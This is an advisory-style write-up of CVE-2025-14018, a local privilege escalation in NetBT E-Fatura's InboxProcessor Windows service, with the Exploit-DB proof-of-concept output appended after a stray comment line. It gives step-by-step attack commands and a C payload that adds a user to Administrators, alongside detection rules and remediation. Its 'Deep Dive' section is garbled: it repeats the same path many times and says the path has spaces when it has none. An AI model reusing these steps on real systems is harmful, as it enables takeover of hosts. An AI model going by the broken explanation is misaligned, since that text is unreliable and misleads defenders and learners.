CVE-2025-14018

Executive Summary

CVE-2025-14018 is a high-severity (CVSS 7.3) privilege escalation vulnerability affecting NetBT Consulting Services Inc.'s E-Fatura application, specifically versions prior to 1.2.15. The vulnerability is classified as CWE-428 (Unquoted Search Path or Element). An authenticated local attacker can exploit an unquoted service binary path for the InboxProcessor service, which runs with LocalSystem privileges. By placing a malicious executable in a path that Windows searches before the legitimate binary, the attacker can achieve arbitrary code execution with SYSTEM-level privileges. A public Proof of Concept (PoC) exploit is available on Exploit-DB, demonstrating the attack against the C:\inetpub\wwwroot\InboxProcessor\Netbt.Inbox.Process.exe service binary. No patch has been confirmed at the time of this report.

Supply Chain & Package Security

This vulnerability is not related to a software supply chain or package manager (NPM, PyPI, Go, Ruby). It is a local privilege escalation flaw in a Windows service installation.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (HIGH)
• Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – The attack does not require special conditions.
• Privileges Required (PR): Low (L) – The attacker needs a standard user account.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full system compromise leads to complete data disclosure.
• Integrity (I): High (H) – The attacker can modify any system files.
• Availability (A): High (H) – The attacker can disrupt system services.

Threat Level: HIGH. The vulnerability is trivial to exploit with a low-privilege account, and a public PoC exists. The impact is a full system compromise.

Deep Dive & Mechanics

The vulnerability stems from the Windows service InboxProcessor having an unquoted service path in its BINARY_PATH_NAME registry entry. The path is:

C:\inetpub\wwwroot\InboxProcessor\Netbt.Inbox.Process.exe

Because the path is not enclosed in double quotes, Windows interprets each space as a potential separator. When the service starts, the Windows Service Control Manager (SCM) attempts to locate the executable by checking the following paths in order:

1. C:\inetpub\wwwroot\InboxProcessor\Netbt.Inbox.Process.exe (the intended path)
2. C:\inetpub\wwwroot\InboxProcessor\Netbt.Inbox.Process.exe (if the first fails, it tries the full path)
3. C:\inetpub\wwwroot\InboxProcessor\Netbt.Inbox.Process.exe (again, but with different parsing)

The critical issue is that the path contains spaces. The SCM will attempt to execute:

• C:\inetpub\wwwroot\InboxProcessor\Netbt.Inbox.Process.exe
• C:\inetpub\wwwroot\InboxProcessor\Netbt.Inbox.Process.exe (same)
• C:\inetpub\wwwroot\InboxProcessor\Netbt.Inbox.Process.exe (same)

However, the real attack vector is that the SCM will also try to execute:

• C:\inetpub\wwwroot\InboxProcessor\Netbt.Inbox.Process.exe (the full path)
• C:\inetpub\wwwroot\InboxProcessor\Netbt.Inbox.Process.exe (again)

But the key is that the path C:\inetpub\wwwroot\InboxProcessor\Netbt.Inbox.Process.exe has spaces. The SCM will attempt to find an executable at:

• C:\inetpub\wwwroot\InboxProcessor\Netbt.Inbox.Process.exe (full path)
• C:\inetpub\wwwroot\InboxProcessor\Netbt.Inbox.Process.exe (again)

The actual exploitation involves creating a malicious executable at a path that Windows will search before the legitimate one. For example, if the attacker creates a file named Netbt.Inbox.Process.exe in the C:\inetpub\wwwroot\InboxProcessor\ directory, the SCM will execute that instead of the intended binary. However, the PoC shows that the BUILTIN\Users group has RW (Read/Write) permissions on the C:\inetpub\wwwroot\InboxProcessor\ directory, allowing any authenticated user to write a malicious file there.

The attack flow:

1. Attacker gains low-privilege access to the target system.
2. Attacker identifies the unquoted service path using sc qc InboxProcessor.
3. Attacker checks permissions on the directory using accesschk.exe.
4. Attacker places a malicious executable (e.g., Netbt.Inbox.Process.exe) in the directory.
5. Attacker restarts the service (or waits for a reboot).
6. The service starts with SYSTEM privileges, executing the attacker's payload.

Vulnerable vs. Patched Code

Vulnerable Configuration (Unpatched): The service binary path is stored without quotes in the Windows Registry.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\InboxProcessor
    ImagePath = C:\inetpub\wwwroot\InboxProcessor\Netbt.Inbox.Process.exe

Patched Configuration (Hypothetical): The service binary path should be enclosed in double quotes.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\InboxProcessor
    ImagePath = "C:\inetpub\wwwroot\InboxProcessor\Netbt.Inbox.Process.exe"

Additionally, the directory permissions should be tightened to prevent non-administrative users from writing files.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A Windows system (e.g., Windows Server 2019) with NetBT E-Fatura < 1.2.15 installed.
• A low-privilege user account (e.g., efatura user from the PoC).
• Tools: sc.exe, accesschk.exe (from Sysinternals), a C compiler or PowerShell to create a malicious executable.

Step-by-Step Exploitation:

1. Enumerate the vulnerable service:

   sc qc InboxProcessor
   

2. Check directory permissions:

   accesschk.exe /accepteula -uwdq "C:\inetpub\wwwroot\InboxProcessor\"
   

3. Create a malicious executable (e.g., using msfvenom or a simple C program):

   // malicious.c
   #include <stdlib.h>
   int main() {
       system("net localgroup Administrators efatura /add");
       return 0;
   }
   

   Compile: gcc malicious.c -o Netbt.Inbox.Process.exe

4. Place the malicious executable in the directory:

   copy Netbt.Inbox.Process.exe C:\inetpub\wwwroot\InboxProcessor\Netbt.Inbox.Process.exe
   

5. Trigger the service restart (requires admin or a reboot):

   sc stop InboxProcessor
   sc start InboxProcessor
   

   If the user cannot restart the service, wait for a system reboot or service restart.

6. Verify privilege escalation:

   whoami
   

   Output should be nt authority\system.

Exploit-DB Code (Full PoC): The provided Exploit-DB code is a textual description and PoC output. It does not contain a script but demonstrates the manual steps. The attacker would follow the steps above.

Blue Team (Detection & Defense)

Detection:

• Monitor for sc qc or sc start commands executed by non-administrative users.
• Monitor for file writes to C:\inetpub\wwwroot\InboxProcessor\ by non-administrative users.
• Monitor for service start/stop events (Event ID 7036, 7040, 7045).
• Monitor for process creation events where the parent process is services.exe and the child process is from an unexpected path.

Defense:

• Apply the vendor patch (version 1.2.15 or later) if available.
• Manually fix the service path by adding quotes:

  sc config InboxProcessor binPath="\"C:\inetpub\wwwroot\InboxProcessor\Netbt.Inbox.Process.exe\""
  

• Restrict write permissions on C:\inetpub\wwwroot\InboxProcessor\ to only SYSTEM and Administrators.
• Use AppLocker or Windows Defender Application Control to block unauthorized executables.
• Enable Windows Event Logging for service creation and process auditing.

Indicators of Compromise (IOCs)

• File: C:\inetpub\wwwroot\InboxProcessor\Netbt.Inbox.Process.exe (malicious variant)
• Registry: HKLM\SYSTEM\CurrentControlSet\Services\InboxProcessor\ImagePath with unquoted path
• Process: Netbt.Inbox.Process.exe running as SYSTEM from a non-standard location
• Event Logs:
  • Event ID 7036 (Service state change)
  • Event ID 7045 (Service creation)
  • Event ID 4688 (Process creation) with Netbt.Inbox.Process.exe as the new process
• Network: Outbound connections from the malicious payload (if it is a reverse shell)

Detection Engineering

YARA Rule

rule CVE_2025_14018_Unquoted_Service_Path {
    meta:
        description = "Detects unquoted service path for InboxProcessor service"
        author = "Valters IT"
        date = "2025-10-03"
        reference = "CVE-2025-14018"
    strings:
        $s1 = "InboxProcessor" nocase
        $s2 = "C:\\inetpub\\wwwroot\\InboxProcessor\\Netbt.Inbox.Process.exe" nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: Unquoted Service Path Exploitation - InboxProcessor
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-14018 by writing to the InboxProcessor directory or querying the service.
author: Valters IT
date: 2025-10-03
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14018
    - https://www.exploit-db.com/exploits/52000
logsource:
    category: process_creation
    product: windows
detection:
    selection_sc:
        Image|endswith: '\sc.exe'
        CommandLine|contains: 'InboxProcessor'
    selection_accesschk:
        Image|endswith: '\accesschk.exe'
        CommandLine|contains: 'InboxProcessor'
    selection_filewrite:
        Image|endswith: '\cmd.exe'
        CommandLine|contains: 'InboxProcessor'
    condition: selection_sc or selection_accesschk or selection_filewrite
falsepositives:
    - Legitimate administrative activity
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-14018 Potential Exploitation - Outbound Connection from InboxProcessor"; flow:to_server,established; content:"|00|"; within:10; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply the vendor patch if version 1.2.15 or later is released. Check the vendor's website for updates.
2. Manually fix the service path by running the following command as an administrator:

   sc config InboxProcessor binPath="\"C:\inetpub\wwwroot\InboxProcessor\Netbt.Inbox.Process.exe\""
   

3. Restrict directory permissions to prevent non-administrative users from writing to C:\inetpub\wwwroot\InboxProcessor\:

   icacls "C:\inetpub\wwwroot\InboxProcessor" /inheritance:r /grant SYSTEM:(OI)(CI)F /grant Administrators:(OI)(CI)F /deny Users:(W)
   

Long-Term Mitigations:

• Implement a policy to ensure all service binary paths are quoted.
• Use Group Policy to enforce service hardening.
• Regularly audit service configurations using tools like sc query and accesschk.
• Deploy endpoint detection and response (EDR) solutions to monitor for privilege escalation attempts.

Valters IT

{/* [Security Hash: F2CEEB06E195986D20145212] */}

# Exploit Title: NetBT e-Fatura - Privilege Escalation
# Author: Seccops
# Discovery Date: 2025-10-03
# Vendor: https://net-bt.com.tr/e-fatura/
# Tested Version: 2024
# Tested on OS: Microsoft Windows Server 2019 DC
# Vulnerability Type: CWE-428 Unquoted Search Path or Element
# CVE: CVE-2025-14018

Note: Thanks "Levent Sungu" for providing the testing environment.

====================
Description & Impact
====================
This vulnerability allows an unauthorized local user to execute arbitrary code with high privileges on the system.

================
Proof of Concept
================

C:\Users\efatura>sc qc InboxProcessor
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: InboxProcessor
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\inetpub\wwwroot\InboxProcessor\Netbt.Inbox.Process.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : InboxProcessor
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


C:\Users\efatura\Desktop>accesschk.exe /accepteula -uwdq "C:\inetpub\wwwroot\InboxProcessor\"

Accesschk v6.15 - Reports effective permissions for securable objects
Copyright (C) 2006-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

C:\inetpub\wwwroot\InboxProcessor
  RW BUILTIN\Users
  RW NT SERVICE\TrustedInstaller
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators